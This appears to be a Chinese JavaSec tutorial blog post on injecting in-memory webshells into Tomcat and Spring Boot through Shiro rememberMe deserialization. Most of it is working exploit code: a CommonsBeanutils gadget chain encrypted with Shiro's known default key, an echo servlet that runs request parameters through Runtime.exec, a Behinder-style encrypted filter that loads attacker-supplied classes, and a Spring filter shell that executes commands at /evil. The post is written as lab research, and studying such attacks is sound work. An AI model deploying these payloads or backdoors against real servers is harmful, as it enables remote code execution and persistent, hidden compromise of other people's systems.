Skip to content

JavaSec 入门-10-反序列化与内存马

约 3585 字大约 12 分钟

Java

2025-04-03

前言

上一篇文章研究了内存马的基础原理以及简单实现,但是严格意义上并非内存马,jsp 还是会被编译器生成对应的 Java 文件进行编译加载然后实例化,也就是仍然会落地,在注入内存马的时候比较重要的一步就是去拿 context ,前面我们都是直接从 request 对象,将 ServletContext 转为 StandardContext 从而获取 context,然后再实现注入,由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要思考的地方

这篇文章会联动后面的 shiro 分析,利用细节会在之后去讲

反序列化环境搭建

其实还是比较随便的,Tomcat、Springboot 都可以,触发点也很多,Fastjson、自己写一个入口也行,这里为了衔接后面的 shiro 我们就直接在这写了

新建一个 SpringBoot2 项目,现在直接在 IDEA 的默认配置里建不了,得换一下那个 url,不然新建出来的就是3版本了(其实也无所谓,后期我们都会分析,拿上下文的方法不太一样)

image-20250403133255248

目录结构如图,没有写出来的类是调试信息用的,无关紧要

image-20250403133944487

pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.5.3</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.shirodemo</groupId>
    <artifactId>shiroSpring</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>shirodemo</name>
    <description>shirodemo</description>
    <url/>
    <licenses>
        <license/>
    </licenses>
    <developers>
        <developer/>
    </developers>
    <scm>
        <connection/>
        <developerConnection/>
        <tag/>
        <url/>
    </scm>
    <properties>
        <java.version>8</java.version>
    </properties>
    <dependencies>
        <dependency> <!-- springboot 没有提供对 shiro 的自动配置, shiro 的自动配置需手动完成 -->
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency> <!-- 引入 thymeleaf 模板引擎 -->
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency> <!-- 引入 lombok -->
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.18.30</version>
        </dependency>

        <dependency> <!-- 引入 druid-spring-boot-starter, 自动配置 Druid -->
            <groupId>com.alibaba</groupId>
            <artifactId>druid-spring-boot-starter</artifactId>
            <version>1.1.17</version>
        </dependency>
        <dependency> <!-- 会自动引入 mybatis, mybatis-spring, spring-boot-starter-jdbc -->
            <groupId>org.mybatis.spring.boot</groupId>
            <artifactId>mybatis-spring-boot-starter</artifactId>
            <version>2.2.2</version>
        </dependency>
        <dependency> <!-- 引入 mysql 扩展 -->
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.28</version>
        </dependency>
        <dependency> <!-- 引入 SpringBoot 测试依赖 -->
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-spring</artifactId> <!-- 引入存在漏洞版本的 shiro -->
            <version>1.2.3</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
            <version>3.2.1</version>
        </dependency>
        <dependency>
        <groupId>com.github.theborakompanioni</groupId>
        <artifactId>thymeleaf-extras-shiro</artifactId> <!-- 引入 shiro 标签 -->
        <version>2.1.0</version>
    </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <annotationProcessorPaths>
                        <path>
                            <groupId>org.projectlombok</groupId>
                            <artifactId>lombok</artifactId>
                            <version>1.18.30</version>
                        </path>
                    </annotationProcessorPaths>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <excludes>
                        <exclude>
                            <groupId>org.projectlombok</groupId>
                            <artifactId>lombok</artifactId>
                        </exclude>
                    </excludes>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>

shiro 在旧版本默认key为 kPH+bIxk5D2deZiIxcaaaA==,具体原理会在后面文章讲,这里只做演示。搭建好之后可以先在 rememberme 那里打一个 CB 链子测试一下 ( EvilClass 写个弹计算器的就行)

package test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class MyExp02 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        AesCipherService aesCipherService = new AesCipherService();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.EvilClass.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        byte[] escapeData = barr.toByteArray();
        // 如上已准备好序列化后的值
        ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
        System.out.println(encrypt.toBase64());
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser3.bin")));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws IOException,ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        Object obj = ois.readObject();
    }
}

image-20250403134624037

获取

internalDoFilter中获取

这个方法有点老,不建议用

在 Tomcat 寻找一个静态的可以存储 request 和 response 的变量,因为如果不是静态的话,那么我们还需要获取到对应的实例,从这一步就开始不停传参 request 和 response

image-20250305112220164

最终找到了如下位置,org.apache.catalina.core.ApplicationFilterChain#internalDoFilter中,有一个符合要求的变量

image-20250305112647412

在 WRAP_SAME_OBJECT 为 true ,就会调用 set 方法将我们的 request 和 response 存放进去,在文件的最后,发现在静态代码块处会进行一次设置,由于静态代码片段是优先执行的,而且最开始 ApplicationDispatcher.WRAP_SAME_OBJECT 默认为 False ,所以 lastServicedRequest 和 lastServicedResponse 一开始默认为 False

image-20250305112749550

利用反射来修改 WRAP_SAME_OBJECT 为 true ,同时初始化 lastServicedRequest 和 lastServicedResponse ,在第二次访问时触发就会通过这个取我们设定好的对象

起一个 springboot ,因为我们要修改的两个值都是 static final 所以要位运算去掉 final 标志

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/echo")
@SuppressWarnings("all")
public class Echo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
            Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
            f0.setAccessible(true);
            f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

            Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);
            f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
            f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);

            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);

            String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;

            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
                lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
                lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
            } else if (cmd!=null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                StringBuilder sb = new StringBuilder("");
                byte[] bytes = new byte[1024];
                int line = 0;
                while ((line = inputStream.read(bytes))!=-1){
                    sb.append(new String(bytes,0,line));
                }
                Writer writer = lastServicedResponse.get().getWriter();
                writer.write(sb.toString());
                writer.flush();
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

其实就是 Tomcat 使用线程池处理请求,每个线程通过 ThreadLocal 存储当前的 ServletRequest 和 ServletResponse,然后利用这个去获取 request 和 response

WebappClassLoader中获取

上面的还是有点麻烦,既然想到线程,可以根据 Tomcat 的 WebappClassLoader 来获取 request 域对象

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
StandardContext context = (StandardContext) resources.getContext(); // 得到上下文对象

其核心原理则是, 通过Thread.currentThread().getContextClassLoader()得到当前 Tomcat 下的ClassLoader, 也就是WebappClassLoader. 再通过WebappClassLoader得到WebResourceRoot, 在WebResourceRoot中得到ServletContext

但是这个方法会受到 Tomcat 版本限制,8.5.78版本之后不行,但是我们这个环境刚好可以,我们这里写一个冰蝎进去,其实也就是套个加密壳的 Filter 内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter ......");
            // 获取request和response对象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

image-20250403141338241

Spring 获取域对象

Spring提供了RequestContextHolder, 这个方法可以获取当前线程中的Request域对象

ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();

这个RequestContextHolder类是 Spring 框架中用于 管理当前请求上下文RequestAttributes的工具类,它主要通过 ThreadLocal 变量来存储请求信息。它的作用是让 Spring 应用在不同的线程中仍然能够访问 当前 HTTP 请求的属性。

image-20250402180003688

存储 RequestAttributesThreadLocal,支持可继承模式

inheritable == true 时使用 NamedInheritableThreadLocal(子线程可继承)

inheritable == false 时使用 NamedThreadLocal(当前线程独立)

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class SpringNeiCunMa extends AbstractTranslet implements Filter {

    // Filter 的命令执行逻辑
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        // 内存马请求过来主要逻辑
        HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
        String requestURI = httpServletRequest.getRequestURI();
        System.out.println(requestURI);
        if ("/evil".equals(requestURI)) {
            InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
            byte[] myChunk = new byte[1024];
            int i = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((i = inputStream.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, i);
            }
            servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
        } else {
            filterChain.doFilter(servletRequest, servletResponse);
        }
    }

    static { // 在 static 代码块中进行注入内存马
        try {
            ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
            HttpServletRequest request = requestAttributes.getRequest();
            ServletContext servletContext = request.getServletContext();
            Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
            ApplicationContextContext.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
            Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
            StandardContextContext.setAccessible(true);
            StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
            // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName("testFilter");
            standardContext.addFilterDef(filterDef);
            filterDef.setFilterClass(SpringNeiCunMa.class.getName()); // 设置自己
            filterDef.setFilter(new SpringNeiCunMa()); // 放入自己, 因为自己就是 Filter
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filterDef.getFilterName());
            filterMap.setDispatcher("[REQUEST]");
            filterMap.addURLPattern("/*");
            standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps

            // 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
            Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
            declaredConstructor.setAccessible(true);
            ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);

            // 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
            Field filterConfigs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
            myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
            filterConfigs.set(standardContext, myFilterConfigs);
        } catch (Exception e) {}
    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void destroy() {}

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

踩坑

一开始总是成功不了,调了半天发现拿不到直接的 StandardContext ,这个排查错误的思路还是重要的,直接打反序列化看不到具体的报错,直接在项目里写会更好发现,最后问题定位到这里,测试时候发现由于这里采用的是 Spring 内嵌 Tomcat ,会导致在最后面把配置放到 filterConfigs 出现找不到的报错

image-20250403143255160

写一个测试控制器去看一下 StandardContext 出了什么问题

@Controller
public class TesterController {
    @RequestMapping("/test")
    @ResponseBody
    public String test() throws NoSuchFieldException, IllegalAccessException {
//        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
//        ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
//        System.out.println(contextClassLoader); // SpringBoot: TomcatEmbeddedWebappClassLoader
        // Tomcat: ParallelWebappClassLoader
//        System.out.println(requestAttributes); // ShiroHttpServletRequest
//        HttpServletRequest request = requestAttributes.getRequest();
//        System.out.println(request);
//        ServletContext servletContext = request.getServletContext();
//        System.out.println(servletContext);
        ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        HttpServletRequest request = requestAttributes.getRequest();
        HttpServletRequest req = request instanceof ShiroHttpServletRequest ?
                (HttpServletRequest) ((ShiroHttpServletRequest) request).getRequest() : request;
        ServletContext servletContext = req.getServletContext();
        System.out.println(servletContext);
        Field appContextField = servletContext.getClass().getDeclaredField("context");
        appContextField.setAccessible(true);
        Object applicationContext = appContextField.get(servletContext);

// 再次获取 context (它可能是 StandardContext 或 TomcatEmbeddedContext)
        Field standardContextField = applicationContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
        System.out.println("StandardContext: " + standardContext);

        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
        WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
        StandardContext context = (StandardContext) resources.getContext();
        System.out.println("context: " + context);

        return "TEST";

    }

image-20250403143536343

看一下 TomcatEmbeddedContext ,发现继承了 StandardContext ,那很显然了

image-20250403143623400

我们在最后那一步去加一个 .getSuperclass 即可

Field filterConfigsField = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");

参考文章

https://mp.weixin.qq.com/s/g8X55Gp5_R61aXClmqlxrA

https://www.cnblogs.com/yyhuni/p/shiroMemshell.html